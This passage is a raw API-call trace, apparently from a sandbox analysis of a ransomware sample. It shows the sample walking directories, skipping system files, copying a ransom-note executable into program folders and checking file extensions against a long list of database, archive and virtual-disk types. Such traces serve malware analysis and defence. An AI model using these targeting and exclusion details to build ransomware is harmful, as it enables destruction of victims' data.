ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0039.758] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0039.758] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0039.758] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0039.758] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc465fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc465fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.758] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0039.758] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0039.758] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0039.758] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0039.758] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0039.758] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0039.758] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0039.759] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0039.759] lstrlenW (lpString="en-US") returned 5 [0039.759] lstrcpyW (in: lpString1=0x241e884, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0039.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3f8 [0039.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x5172f8 [0039.759] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0039.759] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0039.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0039.761] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa4b410, ftCreationTime.dwHighDateTime=0x1d524f1, ftLastAccessTime.dwLowDateTime=0x8780c9e0, ftLastAccessTime.dwHighDateTime=0x1d4f545, ftLastWriteTime.dwLowDateTime=0x8780c9e0, ftLastWriteTime.dwHighDateTime=0x1d4f545, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="excitement-das.exe", cAlternateFileName="EXCITE~1.EXE")) returned 1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2=".") returned 1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="..") returned 1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="windows") returned -1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="bootmgr") returned 1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="temp") returned -1 [0039.761] lstrcmpiW (lpString1="excitement-das.exe", lpString2="pagefile.sys") returned -1 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2="boot") returned 1 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2="ids.txt") returned -1 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2="ntuser.dat") returned -1 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2="perflogs") returned -1 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2="MSBuild") returned -1 [0039.762] lstrlenW (lpString="excitement-das.exe") returned 18 [0039.762] lstrcpyW (in: lpString1=0x241e884, lpString2="excitement-das.exe" | out: lpString1="excitement-das.exe") returned="excitement-das.exe" [0039.762] lstrlenW (lpString="excitement-das.exe") returned 18 [0039.762] lstrlenW (lpString="Athena865") returned 9 [0039.762] lstrcmpiW (lpString1="t-das.exe", lpString2="Athena865") returned 1 [0039.762] lstrlenW (lpString=".dll") returned 4 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2=".dll") returned 1 [0039.762] lstrlenW (lpString=".lnk") returned 4 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2=".lnk") returned 1 [0039.762] lstrlenW (lpString=".ini") returned 4 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2=".ini") returned 1 [0039.762] lstrlenW (lpString=".sys") returned 4 [0039.762] lstrcmpiW (lpString1="excitement-das.exe", lpString2=".sys") returned 1 [0039.762] lstrlenW (lpString="excitement-das.exe") returned 18 [0039.762] lstrlenW (lpString="bak") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0039.762] lstrlenW (lpString="ba_") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0039.762] lstrlenW (lpString="dbb") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0039.762] lstrlenW (lpString="vmdk") returned 4 [0039.762] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0039.762] lstrlenW (lpString="rar") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0039.762] lstrlenW (lpString="zip") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0039.762] lstrlenW (lpString="tgz") returned 3 [0039.762] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0039.762] lstrlenW (lpString="vbox") returned 4 [0039.762] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0039.762] lstrlenW (lpString="vdi") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0039.763] lstrlenW (lpString="vhd") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0039.763] lstrlenW (lpString="vhdx") returned 4 [0039.763] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0039.763] lstrlenW (lpString="avhd") returned 4 [0039.763] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0039.763] lstrlenW (lpString="db") returned 2 [0039.763] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0039.763] lstrlenW (lpString="db2") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0039.763] lstrlenW (lpString="db3") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0039.763] lstrlenW (lpString="dbf") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0039.763] lstrlenW (lpString="mdf") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0039.763] lstrlenW (lpString="mdb") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0039.763] lstrlenW (lpString="sql") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0039.763] lstrlenW (lpString="sqlite") returned 6 [0039.763] lstrcmpiW (lpString1="as.exe", lpString2="sqlite") returned -1 [0039.763] lstrlenW (lpString="sqlite3") returned 7 [0039.763] lstrcmpiW (lpString1="das.exe", lpString2="sqlite3") returned -1 [0039.763] lstrlenW (lpString="sqlitedb") returned 8 [0039.763] lstrcmpiW (lpString1="-das.exe", lpString2="sqlitedb") returned -1 [0039.763] lstrlenW (lpString="xml") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0039.763] lstrlenW (lpString="$er") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0039.763] lstrlenW (lpString="4dd") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0039.763] lstrlenW (lpString="4dl") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0039.763] lstrlenW (lpString="^^^") returned 3 [0039.763] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0039.764] lstrlenW (lpString="abs") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0039.764] lstrlenW (lpString="abx") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0039.764] lstrlenW (lpString="accdb") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accdb") returned 1 [0039.764] lstrlenW (lpString="accdc") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accdc") returned 1 [0039.764] lstrlenW (lpString="accde") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accde") returned 1 [0039.764] lstrlenW (lpString="accdr") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accdr") returned 1 [0039.764] lstrlenW (lpString="accdt") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accdt") returned 1 [0039.764] lstrlenW (lpString="accdw") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accdw") returned 1 [0039.764] lstrlenW (lpString="accft") returned 5 [0039.764] lstrcmpiW (lpString1="s.exe", lpString2="accft") returned 1 [0039.764] lstrlenW (lpString="adb") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0039.764] lstrlenW (lpString="adb") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0039.764] lstrlenW (lpString="ade") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0039.764] lstrlenW (lpString="adf") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0039.764] lstrlenW (lpString="adn") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0039.764] lstrlenW (lpString="adp") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0039.764] lstrlenW (lpString="alf") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0039.764] lstrlenW (lpString="ask") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0039.764] lstrlenW (lpString="btr") returned 3 [0039.764] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0039.764] lstrlenW (lpString="cat") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0039.765] lstrlenW (lpString="cdb") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0039.765] lstrlenW (lpString="ckp") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0039.765] lstrlenW (lpString="cma") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0039.765] lstrlenW (lpString="cpd") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0039.765] lstrlenW (lpString="dacpac") returned 6 [0039.765] lstrcmpiW (lpString1="as.exe", lpString2="dacpac") returned -1 [0039.765] lstrlenW (lpString="dad") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0039.765] lstrlenW (lpString="dadiagrams") returned 10 [0039.765] lstrcmpiW (lpString1="nt-das.exe", lpString2="dadiagrams") returned 1 [0039.765] lstrlenW (lpString="daschema") returned 8 [0039.765] lstrcmpiW (lpString1="-das.exe", lpString2="daschema") returned -1 [0039.765] lstrlenW (lpString="db-journal") returned 10 [0039.765] lstrcmpiW (lpString1="nt-das.exe", lpString2="db-journal") returned 1 [0039.765] lstrlenW (lpString="db-shm") returned 6 [0039.765] lstrcmpiW (lpString1="as.exe", lpString2="db-shm") returned -1 [0039.765] lstrlenW (lpString="db-wal") returned 6 [0039.765] lstrcmpiW (lpString1="as.exe", lpString2="db-wal") returned -1 [0039.765] lstrlenW (lpString="dbc") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0039.765] lstrlenW (lpString="dbs") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0039.765] lstrlenW (lpString="dbt") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0039.765] lstrlenW (lpString="dbv") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0039.765] lstrlenW (lpString="dbx") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0039.765] lstrlenW (lpString="dcb") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0039.765] lstrlenW (lpString="dct") returned 3 [0039.765] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0039.766] lstrlenW (lpString="dcx") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0039.766] lstrlenW (lpString="ddl") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0039.766] lstrlenW (lpString="dlis") returned 4 [0039.766] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0039.766] lstrlenW (lpString="dp1") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0039.766] lstrlenW (lpString="dqy") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0039.766] lstrlenW (lpString="dsk") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0039.766] lstrlenW (lpString="dsn") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0039.766] lstrlenW (lpString="dtsx") returned 4 [0039.766] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0039.766] lstrlenW (lpString="dxl") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0039.766] lstrlenW (lpString="eco") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0039.766] lstrlenW (lpString="ecx") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0039.766] lstrlenW (lpString="edb") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0039.766] lstrlenW (lpString="epim") returned 4 [0039.766] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0039.766] lstrlenW (lpString="fcd") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0039.766] lstrlenW (lpString="fdb") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0039.766] lstrlenW (lpString="fic") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0039.766] lstrlenW (lpString="flexolibrary") returned 12 [0039.766] lstrcmpiW (lpString1="ment-das.exe", lpString2="flexolibrary") returned 1 [0039.766] lstrlenW (lpString="fm5") returned 3 [0039.766] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0039.767] lstrlenW (lpString="fmp") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0039.767] lstrlenW (lpString="fmp12") returned 5 [0039.767] lstrcmpiW (lpString1="s.exe", lpString2="fmp12") returned 1 [0039.767] lstrlenW (lpString="fmpsl") returned 5 [0039.767] lstrcmpiW (lpString1="s.exe", lpString2="fmpsl") returned 1 [0039.767] lstrlenW (lpString="fol") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0039.767] lstrlenW (lpString="fp3") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0039.767] lstrlenW (lpString="fp4") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0039.767] lstrlenW (lpString="fp5") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0039.767] lstrlenW (lpString="fp7") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0039.767] lstrlenW (lpString="fpt") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0039.767] lstrlenW (lpString="frm") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0039.767] lstrlenW (lpString="gdb") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0039.767] lstrlenW (lpString="gdb") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0039.767] lstrlenW (lpString="grdb") returned 4 [0039.767] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0039.767] lstrlenW (lpString="gwi") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0039.767] lstrlenW (lpString="hdb") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0039.767] lstrlenW (lpString="his") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0039.767] lstrlenW (lpString="ib") returned 2 [0039.767] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0039.767] lstrlenW (lpString="idb") returned 3 [0039.767] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0039.767] lstrlenW (lpString="ihx") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0039.768] lstrlenW (lpString="itdb") returned 4 [0039.768] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0039.768] lstrlenW (lpString="itw") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0039.768] lstrlenW (lpString="jet") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0039.768] lstrlenW (lpString="jtx") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0039.768] lstrlenW (lpString="kdb") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0039.768] lstrlenW (lpString="kexi") returned 4 [0039.768] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0039.768] lstrlenW (lpString="kexic") returned 5 [0039.768] lstrcmpiW (lpString1="s.exe", lpString2="kexic") returned 1 [0039.768] lstrlenW (lpString="kexis") returned 5 [0039.768] lstrcmpiW (lpString1="s.exe", lpString2="kexis") returned 1 [0039.768] lstrlenW (lpString="lgc") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0039.768] lstrlenW (lpString="lwx") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0039.768] lstrlenW (lpString="maf") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0039.768] lstrlenW (lpString="maq") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0039.768] lstrlenW (lpString="mar") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0039.768] lstrlenW (lpString="marshal") returned 7 [0039.768] lstrcmpiW (lpString1="das.exe", lpString2="marshal") returned -1 [0039.768] lstrlenW (lpString="mas") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0039.768] lstrlenW (lpString="mav") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0039.768] lstrlenW (lpString="maw") returned 3 [0039.768] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0039.768] lstrlenW (lpString="mdbhtml") returned 7 [0039.768] lstrcmpiW (lpString1="das.exe", lpString2="mdbhtml") returned -1 [0039.769] lstrlenW (lpString="mdn") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0039.769] lstrlenW (lpString="mdt") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0039.769] lstrlenW (lpString="mfd") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0039.769] lstrlenW (lpString="mpd") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0039.769] lstrlenW (lpString="mrg") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0039.769] lstrlenW (lpString="mud") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0039.769] lstrlenW (lpString="mwb") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0039.769] lstrlenW (lpString="myd") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0039.769] lstrlenW (lpString="ndf") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0039.769] lstrlenW (lpString="nnt") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0039.769] lstrlenW (lpString="nrmlib") returned 6 [0039.769] lstrcmpiW (lpString1="as.exe", lpString2="nrmlib") returned -1 [0039.769] lstrlenW (lpString="ns2") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0039.769] lstrlenW (lpString="ns3") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0039.769] lstrlenW (lpString="ns4") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0039.769] lstrlenW (lpString="nsf") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0039.769] lstrlenW (lpString="nv") returned 2 [0039.769] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0039.769] lstrlenW (lpString="nv2") returned 3 [0039.769] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0039.769] lstrlenW (lpString="nwdb") returned 4 [0039.769] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0039.769] lstrlenW (lpString="nyf") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0039.770] lstrlenW (lpString="odb") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0039.770] lstrlenW (lpString="odb") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0039.770] lstrlenW (lpString="oqy") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0039.770] lstrlenW (lpString="ora") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0039.770] lstrlenW (lpString="orx") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0039.770] lstrlenW (lpString="owc") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0039.770] lstrlenW (lpString="p96") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0039.770] lstrlenW (lpString="p97") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0039.770] lstrlenW (lpString="pan") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0039.770] lstrlenW (lpString="pdb") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0039.770] lstrlenW (lpString="pdm") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0039.770] lstrlenW (lpString="pnz") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0039.770] lstrlenW (lpString="qry") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0039.770] lstrlenW (lpString="qvd") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0039.770] lstrlenW (lpString="rbf") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0039.770] lstrlenW (lpString="rctd") returned 4 [0039.770] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0039.770] lstrlenW (lpString="rod") returned 3 [0039.770] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0039.770] lstrlenW (lpString="rodx") returned 4 [0039.771] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0039.771] lstrlenW (lpString="rpd") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0039.771] lstrlenW (lpString="rsd") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0039.771] lstrlenW (lpString="sas7bdat") returned 8 [0039.771] lstrcmpiW (lpString1="-das.exe", lpString2="sas7bdat") returned -1 [0039.771] lstrlenW (lpString="sbf") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0039.771] lstrlenW (lpString="scx") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0039.771] lstrlenW (lpString="sdb") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0039.771] lstrlenW (lpString="sdc") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0039.771] lstrlenW (lpString="sdf") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0039.771] lstrlenW (lpString="sis") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0039.771] lstrlenW (lpString="spq") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0039.771] lstrlenW (lpString="te") returned 2 [0039.771] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0039.771] lstrlenW (lpString="teacher") returned 7 [0039.771] lstrcmpiW (lpString1="das.exe", lpString2="teacher") returned -1 [0039.771] lstrlenW (lpString="tmd") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0039.771] lstrlenW (lpString="tps") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0039.771] lstrlenW (lpString="trc") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0039.771] lstrlenW (lpString="trc") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0039.771] lstrlenW (lpString="trm") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0039.771] lstrlenW (lpString="udb") returned 3 [0039.771] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0039.772] lstrlenW (lpString="udl") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0039.772] lstrlenW (lpString="usr") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0039.772] lstrlenW (lpString="v12") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0039.772] lstrlenW (lpString="vis") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0039.772] lstrlenW (lpString="vpd") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0039.772] lstrlenW (lpString="vvv") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0039.772] lstrlenW (lpString="wdb") returned 3 [0039.772] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0039.772] lstrlenW (lpString="wmdb") returned 